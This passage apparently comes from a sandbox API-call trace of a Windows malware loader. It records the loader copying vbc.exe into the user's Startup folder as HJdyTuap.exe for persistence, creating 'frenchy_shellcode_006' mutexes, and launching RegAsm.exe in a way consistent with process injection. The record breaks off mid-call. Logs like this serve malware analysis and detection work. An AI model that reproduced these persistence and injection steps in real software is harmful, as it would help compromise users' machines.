returned 0x14 [0070.836] mbstowcs (in: _Dest=0x4e8d5c0, _Source="\\KnownDlls\\Ole32.dll", _MaxCount=0x15 | out: _Dest="\\KnownDlls\\Ole32.dll") returned 0x14 [0070.836] wcslen (_String="\\KnownDlls32\\advapi32.dll") returned 0x19 [0070.837] NtOpenSection (in: SectionHandle=0x4e8cd7c, DesiredAccess=0xc, ObjectAttributes=0x4e8cd2c*(Length=0x18, RootDirectory=0x0, ObjectName="\\KnownDlls32\\advapi32.dll", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: SectionHandle=0x4e8cd7c*=0x1ec) returned 0x0 [0070.837] NtMapViewOfSection (in: SectionHandle=0x1ec, ProcessHandle=0xffffffff, BaseAddress=0x4e8cd84*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x4e8cd80*=0x0, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x2 | out: BaseAddress=0x4e8cd84*=0xa210000, SectionOffset=0x0, ViewSize=0x4e8cd80*=0xa0000) returned 0x40000003 [0070.837] wcslen (_String="\\KnownDlls32\\ntdll.dll") returned 0x16 [0070.837] NtOpenSection (in: SectionHandle=0x4e8cd7c, DesiredAccess=0xc, ObjectAttributes=0x4e8cd2c*(Length=0x18, RootDirectory=0x0, ObjectName="\\KnownDlls32\\ntdll.dll", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: SectionHandle=0x4e8cd7c*=0x230) returned 0x0 [0070.837] NtMapViewOfSection (in: SectionHandle=0x230, ProcessHandle=0xffffffff, BaseAddress=0x4e8cd84*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x4e8cd80*=0x0, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x2 | out: BaseAddress=0x4e8cd84*=0xa2b0000, SectionOffset=0x0, ViewSize=0x4e8cd80*=0x180000) returned 0x40000003 [0070.837] wcslen (_String="\\KnownDlls32\\kernel32.dll") returned 0x19 [0070.837] NtOpenSection (in: SectionHandle=0x4e8cd7c, DesiredAccess=0xc, ObjectAttributes=0x4e8cd2c*(Length=0x18, RootDirectory=0x0, ObjectName="\\KnownDlls32\\kernel32.dll", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: SectionHandle=0x4e8cd7c*=0x1f0) returned 0x0 [0070.837] NtMapViewOfSection (in: SectionHandle=0x1f0, ProcessHandle=0xffffffff, BaseAddress=0x4e8cd84*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x4e8cd80*=0x0, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x2 | out: BaseAddress=0x4e8cd84*=0xa430000, SectionOffset=0x0, ViewSize=0x4e8cd80*=0x110000) returned 0x40000003 [0070.837] wcslen (_String="\\KnownDlls32\\user32.dll") returned 0x17 [0070.837] NtOpenSection (in: SectionHandle=0x4e8cd7c, DesiredAccess=0xc, ObjectAttributes=0x4e8cd2c*(Length=0x18, RootDirectory=0x0, ObjectName="\\KnownDlls32\\user32.dll", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: SectionHandle=0x4e8cd7c*=0x1f4) returned 0x0 [0070.838] NtMapViewOfSection (in: SectionHandle=0x1f4, ProcessHandle=0xffffffff, BaseAddress=0x4e8cd84*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x4e8cd80*=0x0, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x2 | out: BaseAddress=0x4e8cd84*=0xa540000, SectionOffset=0x0, ViewSize=0x4e8cd80*=0x100000) returned 0x40000003 [0070.838] wcslen (_String="\\KnownDlls32\\Ole32.dll") returned 0x16 [0070.838] NtOpenSection (in: SectionHandle=0x4e8cd7c, DesiredAccess=0xc, ObjectAttributes=0x4e8cd2c*(Length=0x18, RootDirectory=0x0, ObjectName="\\KnownDlls32\\Ole32.dll", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: SectionHandle=0x4e8cd7c*=0x278) returned 0x0 [0070.838] NtMapViewOfSection (in: SectionHandle=0x278, ProcessHandle=0xffffffff, BaseAddress=0x4e8cd84*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x4e8cd80*=0x0, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x2 | out: BaseAddress=0x4e8cd84*=0xa640000, SectionOffset=0x0, ViewSize=0x4e8cd80*=0x15c000) returned 0x40000003 [0070.839] LoadLibraryA (lpLibFileName="Ole32.dll") returned 0x76d60000 [0070.839] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x75220000 [0070.840] GetProcAddress (hModule=0x75220000, lpProcName="CryptAcquireContextW") returned 0x7522df14 [0070.840] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x75220000 [0070.840] GetProcAddress (hModule=0x75220000, lpProcName="CryptCreateHash") returned 0x7522df4e [0070.840] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x75220000 [0070.840] GetProcAddress (hModule=0x75220000, lpProcName="CryptDecrypt") returned 0x75263178 [0070.840] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x75220000 [0070.840] GetProcAddress (hModule=0x75220000, lpProcName="CryptDeriveKey") returned 0x75263188 [0070.840] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x75220000 [0070.841] GetProcAddress (hModule=0x75220000, lpProcName="CryptDestroyHash") returned 0x7522df66 [0070.841] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x75220000 [0070.841] GetProcAddress (hModule=0x75220000, lpProcName="CryptDestroyKey") returned 0x7522c51a [0070.841] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x75220000 [0070.841] GetProcAddress (hModule=0x75220000, lpProcName="CryptHashData") returned 0x7522df36 [0070.841] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x75220000 [0070.841] GetProcAddress (hModule=0x75220000, lpProcName="CryptReleaseContext") returned 0x7522e124 [0070.843] LoadLibraryA (lpLibFileName="user32.dll") returned 0x76c00000 [0070.843] GetProcAddress (hModule=0x76c00000, lpProcName="MessageBoxA") returned 0x76c6fd1e [0070.843] LoadLibraryA (lpLibFileName="user32.dll") returned 0x76c00000 [0070.843] LoadLibraryA (lpLibFileName="user32.dll") returned 0x76c00000 [0070.843] LoadLibraryA (lpLibFileName="user32.dll") returned 0x76c00000 [0070.843] LoadLibraryA (lpLibFileName="user32.dll") returned 0x76c00000 [0070.844] GetProcAddress (hModule=0x76d60000, lpProcName="CoInitializeEx") returned 0x76da09ad [0070.844] GetProcAddress (hModule=0x76d60000, lpProcName="CoCreateInstance") returned 0x76da9d0b [0070.844] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Startup_shellcode_006") returned 0x27c [0070.844] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x4e8ec9c | out: Wow64Process=0x4e8ec9c) returned 1 [0070.844] strlen (_Str="%appdata%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\HJdyTuap.exe") returned 0x44 [0070.845] mbstowcs (in: _Dest=0x4e8e930, _Source="%appdata%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\HJdyTuap.exe", _MaxCount=0x45 | out: _Dest="%appdata%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\HJdyTuap.exe") returned 0x44 [0070.845] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\HJdyTuap.exe", lpDst=0x4e8eb38, nSize=0x104 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\HJdyTuap.exe") returned 0x5d [0070.845] strlen (_Str="\\??\\") returned 0x4 [0070.845] mbstowcs (in: _Dest=0x4e8e728, _Source="\\??\\", _MaxCount=0x5 | out: _Dest="\\??\\") returned 0x4 [0070.845] wcscat (in: _Dest=0x4e8e728, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\HJdyTuap.exe" | out: _Dest="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\HJdyTuap.exe") returned="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\HJdyTuap.exe" [0070.845] NtOpenFile (in: FileHandle=0x4e8eca4, DesiredAccess=0x120089, ObjectAttributes=0x4e8ec44*(Length=0x746e6961, RootDirectory=0x9e0700, ObjectName=0x7274736c, Attributes=0x576e656c, SecurityDescriptor=0x1cef00, SecurityQualityOfService=0x6c6c6946), IoStatusBlock=0x4e8ec84, ShareAccess=0x1, OpenOptions=0x40 | out: FileHandle=0x4e8eca4*=0x7970, IoStatusBlock=0x4e8ec84*(Status=0x73007373, Pointer=0x73007373, Information=0x6c736377)) returned 0xc000000d [0070.845] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x80010106 [0070.845] strlen (_Str="%appdata%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\HJdyTuap.exe") returned 0x44 [0070.845] mbstowcs (in: _Dest=0x4e8dda0, _Source="%appdata%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\HJdyTuap.exe", _MaxCount=0x45 | out: _Dest="%appdata%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\HJdyTuap.exe") returned 0x44 [0070.845] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\HJdyTuap.exe", lpDst=0x4e8e3b8, nSize=0x104 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\HJdyTuap.exe") returned 0x5d [0070.845] strlen (_Str="\\??\\") returned 0x4 [0070.845] mbstowcs (in: _Dest=0x4e8d978, _Source="\\??\\", _MaxCount=0x5 | out: _Dest="\\??\\") returned 0x4 [0070.845] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x4e8db98, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x4e8db98, ReturnLength=0x0) returned 0x0 [0070.845] wcscat (in: _Dest=0x4e8d978, _Source="C:\\Users\\Public\\vbc.exe" | out: _Dest="\\??\\C:\\Users\\Public\\vbc.exe") returned="\\??\\C:\\Users\\Public\\vbc.exe" [0070.845] wcslen (_String="\\??\\C:\\Users\\Public\\vbc.exe") returned 0x1b [0070.845] NtOpenFile (in: FileHandle=0x4e8dbfc, DesiredAccess=0x120089, ObjectAttributes=0x4e8dbc8*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\Public\\vbc.exe", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x4e8dbb0, ShareAccess=0x1, OpenOptions=0x40 | out: FileHandle=0x4e8dbfc*=0x280, IoStatusBlock=0x4e8dbb0*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0070.845] NtQueryInformationFile (in: FileHandle=0x280, IoStatusBlock=0x4e8dbb8, FileInformation=0x4e8db80, Length=0x1000, FileInformationClass=0x5 | out: IoStatusBlock=0x4e8dbb8, FileInformation=0x4e8db80) returned 0x0 [0070.845] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x4e8dbf8*=0x0, ZeroBits=0x0, RegionSize=0x4e8dbf4*=0xbd000, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0x4e8dbf8*=0xa7a0000, RegionSize=0x4e8dbf4*=0xbd000) returned 0x0 [0070.846] NtReadFile (in: FileHandle=0x280, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x4e8dbc0, Buffer=0xa7a0000, BufferLength=0xbd000, ByteOffset=0x4e8dbe0*=0, Key=0x0 | out: IoStatusBlock=0x4e8dbc0, Buffer=0xa7a0000) returned 0x103 [0070.851] strlen (_Str="\\??\\") returned 0x4 [0070.851] mbstowcs (in: _Dest=0x4e8e1b0, _Source="\\??\\", _MaxCount=0x5 | out: _Dest="\\??\\") returned 0x4 [0070.851] strlen (_Str="\\??\\") returned 0x4 [0070.851] mbstowcs (in: _Dest=0x4e8dfa8, _Source="\\??\\", _MaxCount=0x5 | out: _Dest="\\??\\") returned 0x4 [0070.851] wcscat (in: _Dest=0x4e8dfa8, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\HJdyTuap.exe" | out: _Dest="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\HJdyTuap.exe") returned="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\HJdyTuap.exe" [0070.851] wcscat (in: _Dest=0x4e8e1b0, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\HJdyTuap.exe" | out: _Dest="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\HJdyTuap.exe") returned="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\HJdyTuap.exe" [0070.851] wcslen (_String="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\HJdyTuap.exe") returned 0x60 [0070.851] NtOpenFile (in: FileHandle=0x4e8e510, DesiredAccess=0x120089, ObjectAttributes=0x4e8e4d8*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\HJdyTuap.exe", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x4e8e4d0, ShareAccess=0x1, OpenOptions=0x40 | out: FileHandle=0x4e8e510*=0x0, IoStatusBlock=0x4e8e4d0*(Status=0x4e8e51c, Pointer=0x4e8e51c, Information=0x4e8e53c)) returned 0xc0000034 [0070.851] wcslen (_String="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\HJdyTuap.exe") returned 0x60 [0070.851] NtCreateFile (in: FileHandle=0x4e8e514, DesiredAccess=0x120116, ObjectAttributes=0x4e8e4f0*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\HJdyTuap.exe", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x4e8e4c0, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x0, CreateDisposition=0x5, CreateOptions=0x40, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x4e8e514*=0x284, IoStatusBlock=0x4e8e4c0*(Status=0x0, Pointer=0x0, Information=0x2)) returned 0x0 [0070.853] NtWriteFile (in: FileHandle=0x284, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x4e8e4c8, Buffer=0xa7a0000, Length=0xbd000, ByteOffset=0x4e8e508*=0, Key=0x0 | out: IoStatusBlock=0x4e8e4c8, Buffer=0xa7a0000) returned 0x103 [0070.880] NtDelayExecution (Alertable=0, Interval=0x4e8dc08*=-10000000) returned 0x0 [0071.939] CoTaskMemAlloc (cb=0x20c) returned 0x52eb10 [0071.939] SHGetFolderPathW (in: hwnd=0x0, csidl=36, hToken=0x0, dwFlags=0x0, pszPath=0x52eb10 | out: pszPath="C:\\Windows") returned 0x0 [0071.941] CoTaskMemFree (pv=0x52eb10) [0071.941] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x4e8ec7c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0071.941] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RegAsm.exe", nBufferLength=0x105, lpBuffer=0x4e8ed18, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RegAsm.exe", lpFilePart=0x0) returned 0x38 [0071.941] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x4e8f178) returned 1 [0071.941] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RegAsm.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\regasm.exe"), fInfoLevelId=0x0, lpFileInformation=0x4e8f1f4 | out: lpFileInformation=0x4e8f1f4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d239dc, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x99d239dc, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x99d239dc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xd000)) returned 1 [0071.983] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x4e8f174) returned 1 [0072.271] VirtualAlloc (lpAddress=0x0, dwSize=0x2205, flAllocationType=0x3000, flProtect=0x40) returned 0x410000 [0072.282] CoTaskMemAlloc (cb=0x20c) returned 0x52f120 [0072.282] SHGetFolderPathW (in: hwnd=0x0, csidl=36, hToken=0x0, dwFlags=0x0, pszPath=0x52f120 | out: pszPath="C:\\Windows") returned 0x0 [0072.282] CoTaskMemFree (pv=0x52f120) [0072.282] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x4e8ec24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0072.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RegAsm.exe", cchWideChar=56, lpMultiByteStr=0x4e8f148, cbMultiByte=58, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RegAsm.exe\x9a", lpUsedDefaultChar=0x0) returned 56 [0072.284] strlen (_Str="kernel32.dll") returned 0xc [0072.284] mbstowcs (in: _Dest=0x4e8ce10, _Source="kernel32.dll", _MaxCount=0xd | out: _Dest="kernel32.dll") returned 0xc [0072.284] strlen (_Str="KERNEL32.DLL") returned 0xc [0072.284] mbstowcs (in: _Dest=0x4e8cc08, _Source="KERNEL32.DLL", _MaxCount=0xd | out: _Dest="KERNEL32.DLL") returned 0xc [0072.284] strlen (_Str="\\KnownDlls32\\ntdll.dll") returned 0x16 [0072.284] mbstowcs (in: _Dest=0x4e8d018, _Source="\\KnownDlls32\\ntdll.dll", _MaxCount=0x17 | out: _Dest="\\KnownDlls32\\ntdll.dll") returned 0x16 [0072.284] strlen (_Str="\\KnownDlls32\\advapi32.dll") returned 0x19 [0072.284] mbstowcs (in: _Dest=0x4e8d220, _Source="\\KnownDlls32\\advapi32.dll", _MaxCount=0x1a | out: _Dest="\\KnownDlls32\\advapi32.dll") returned 0x19 [0072.284] strlen (_Str="\\KnownDlls32\\kernel32.dll") returned 0x19 [0072.284] mbstowcs (in: _Dest=0x4e8e260, _Source="\\KnownDlls32\\kernel32.dll", _MaxCount=0x1a | out: _Dest="\\KnownDlls32\\kernel32.dll") returned 0x19 [0072.284] strlen (_Str="\\KnownDlls32\\user32.dll") returned 0x17 [0072.284] mbstowcs (in: _Dest=0x4e8e058, _Source="\\KnownDlls32\\user32.dll", _MaxCount=0x18 | out: _Dest="\\KnownDlls32\\user32.dll") returned 0x17 [0072.284] strlen (_Str="\\KnownDlls32\\Ole32.dll") returned 0x16 [0072.284] mbstowcs (in: _Dest=0x4e8d838, _Source="\\KnownDlls32\\Ole32.dll", _MaxCount=0x17 | out: _Dest="\\KnownDlls32\\Ole32.dll") returned 0x16 [0072.284] strlen (_Str="\\KnownDlls\\ntdll.dll") returned 0x14 [0072.284] mbstowcs (in: _Dest=0x4e8da40, _Source="\\KnownDlls\\ntdll.dll", _MaxCount=0x15 | out: _Dest="\\KnownDlls\\ntdll.dll") returned 0x14 [0072.284] strlen (_Str="\\KnownDlls\\advapi32.dll") returned 0x17 [0072.284] mbstowcs (in: _Dest=0x4e8de50, _Source="\\KnownDlls\\advapi32.dll", _MaxCount=0x18 | out: _Dest="\\KnownDlls\\advapi32.dll") returned 0x17 [0072.284] strlen (_Str="\\KnownDlls\\kernel32.dll") returned 0x17 [0072.284] mbstowcs (in: _Dest=0x4e8d630, _Source="\\KnownDlls\\kernel32.dll", _MaxCount=0x18 | out: _Dest="\\KnownDlls\\kernel32.dll") returned 0x17 [0072.284] strlen (_Str="\\KnownDlls\\user32.dll") returned 0x15 [0072.284] mbstowcs (in: _Dest=0x4e8dc48, _Source="\\KnownDlls\\user32.dll", _MaxCount=0x16 | out: _Dest="\\KnownDlls\\user32.dll") returned 0x15 [0072.284] strlen (_Str="\\KnownDlls\\Ole32.dll") returned 0x14 [0072.284] mbstowcs (in: _Dest=0x4e8d428, _Source="\\KnownDlls\\Ole32.dll", _MaxCount=0x15 | out: _Dest="\\KnownDlls\\Ole32.dll") returned 0x14 [0072.284] wcslen (_String="\\KnownDlls32\\advapi32.dll") returned 0x19 [0072.284] NtOpenSection (in: SectionHandle=0x4e8cbe4, DesiredAccess=0xc, ObjectAttributes=0x4e8cb94*(Length=0x18, RootDirectory=0x0, ObjectName="\\KnownDlls32\\advapi32.dll", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: SectionHandle=0x4e8cbe4*=0x28c) returned 0x0 [0072.284] NtMapViewOfSection (in: SectionHandle=0x28c, ProcessHandle=0xffffffff, BaseAddress=0x4e8cbec*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x4e8cbe8*=0x0, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x2 | out: BaseAddress=0x4e8cbec*=0x4f90000, SectionOffset=0x0, ViewSize=0x4e8cbe8*=0xa0000) returned 0x40000003 [0072.285] wcslen (_String="\\KnownDlls32\\ntdll.dll") returned 0x16 [0072.285] NtOpenSection (in: SectionHandle=0x4e8cbe4, DesiredAccess=0xc, ObjectAttributes=0x4e8cb94*(Length=0x18, RootDirectory=0x0, ObjectName="\\KnownDlls32\\ntdll.dll", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: SectionHandle=0x4e8cbe4*=0x290) returned 0x0 [0072.285] NtMapViewOfSection (in: SectionHandle=0x290, ProcessHandle=0xffffffff, BaseAddress=0x4e8cbec*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x4e8cbe8*=0x0, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x2 | out: BaseAddress=0x4e8cbec*=0x5030000, SectionOffset=0x0, ViewSize=0x4e8cbe8*=0x180000) returned 0x40000003 [0072.285] wcslen (_String="\\KnownDlls32\\kernel32.dll") returned 0x19 [0072.285] NtOpenSection (in: SectionHandle=0x4e8cbe4, DesiredAccess=0xc, ObjectAttributes=0x4e8cb94*(Length=0x18, RootDirectory=0x0, ObjectName="\\KnownDlls32\\kernel32.dll", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: SectionHandle=0x4e8cbe4*=0x294) returned 0x0 [0072.285] NtMapViewOfSection (in: SectionHandle=0x294, ProcessHandle=0xffffffff, BaseAddress=0x4e8cbec*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x4e8cbe8*=0x0, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x2 | out: BaseAddress=0x4e8cbec*=0x51b0000, SectionOffset=0x0, ViewSize=0x4e8cbe8*=0x110000) returned 0x40000003 [0072.285] wcslen (_String="\\KnownDlls32\\user32.dll") returned 0x17 [0072.285] NtOpenSection (in: SectionHandle=0x4e8cbe4, DesiredAccess=0xc, ObjectAttributes=0x4e8cb94*(Length=0x18, RootDirectory=0x0, ObjectName="\\KnownDlls32\\user32.dll", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: SectionHandle=0x4e8cbe4*=0x298) returned 0x0 [0072.285] NtMapViewOfSection (in: SectionHandle=0x298, ProcessHandle=0xffffffff, BaseAddress=0x4e8cbec*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x4e8cbe8*=0x0, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x2 | out: BaseAddress=0x4e8cbec*=0x52c0000, SectionOffset=0x0, ViewSize=0x4e8cbe8*=0x100000) returned 0x40000003 [0072.285] wcslen (_String="\\KnownDlls32\\Ole32.dll") returned 0x16 [0072.285] NtOpenSection (in: SectionHandle=0x4e8cbe4, DesiredAccess=0xc, ObjectAttributes=0x4e8cb94*(Length=0x18, RootDirectory=0x0, ObjectName="\\KnownDlls32\\Ole32.dll", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: SectionHandle=0x4e8cbe4*=0x29c) returned 0x0 [0072.285] NtMapViewOfSection (in: SectionHandle=0x29c, ProcessHandle=0xffffffff, BaseAddress=0x4e8cbec*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x4e8cbe8*=0x0, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x2 | out: BaseAddress=0x4e8cbec*=0x53c0000, SectionOffset=0x0, ViewSize=0x4e8cbe8*=0x15c000) returned 0x40000003 [0072.287] LoadLibraryA (lpLibFileName="Ole32.dll") returned 0x76d60000 [0072.287] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x75220000 [0072.287] GetProcAddress (hModule=0x75220000, lpProcName="CryptAcquireContextW") returned 0x7522df14 [0072.287] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x75220000 [0072.287] GetProcAddress (hModule=0x75220000, lpProcName="CryptCreateHash") returned 0x7522df4e [0072.287] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x75220000 [0072.288] GetProcAddress (hModule=0x75220000, lpProcName="CryptDecrypt") returned 0x75263178 [0072.289] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x75220000 [0072.289] GetProcAddress (hModule=0x75220000, lpProcName="CryptDeriveKey") returned 0x75263188 [0072.289] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x75220000 [0072.290] GetProcAddress (hModule=0x75220000, lpProcName="CryptDestroyHash") returned 0x7522df66 [0072.290] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x75220000 [0072.290] GetProcAddress (hModule=0x75220000, lpProcName="CryptDestroyKey") returned 0x7522c51a [0072.290] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x75220000 [0072.290] GetProcAddress (hModule=0x75220000, lpProcName="CryptHashData") returned 0x7522df36 [0072.290] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x75220000 [0072.290] GetProcAddress (hModule=0x75220000, lpProcName="CryptReleaseContext") returned 0x7522e124 [0072.292] LoadLibraryA (lpLibFileName="user32.dll") returned 0x76c00000 [0072.292] GetProcAddress (hModule=0x76c00000, lpProcName="MessageBoxA") returned 0x76c6fd1e [0072.292] LoadLibraryA (lpLibFileName="user32.dll") returned 0x76c00000 [0072.292] LoadLibraryA (lpLibFileName="user32.dll") returned 0x76c00000 [0072.292] LoadLibraryA (lpLibFileName="user32.dll") returned 0x76c00000 [0072.293] LoadLibraryA (lpLibFileName="user32.dll") returned 0x76c00000 [0072.293] GetProcAddress (hModule=0x76d60000, lpProcName="CoInitializeEx") returned 0x76da09ad [0072.293] GetProcAddress (hModule=0x76d60000, lpProcName="CoCreateInstance") returned 0x76da9d0b [0072.293] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="frenchy_shellcode_006") returned 0x2a0 [0072.293] strlen (_Str="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RegAsm.exe") returned 0x38 [0072.294] strlen (_Str="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RegAsm.exe") returned 0x38 [0072.294] mbstowcs (in: _Dest=0x4e8e508, _Source="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RegAsm.exe", _MaxCount=0x39 | out: _Dest="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RegAsm.exe") returned 0x38 [0072.294] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RegAsm.exe", lpDst=0x4e8e9e0, nSize=0x104 | out: lpDst="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RegAsm.exe") returned 0x39 [0072.294] CreateProcessW (in: lpApplicationName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RegAsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x4e8eae8*(cb=0x0, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, 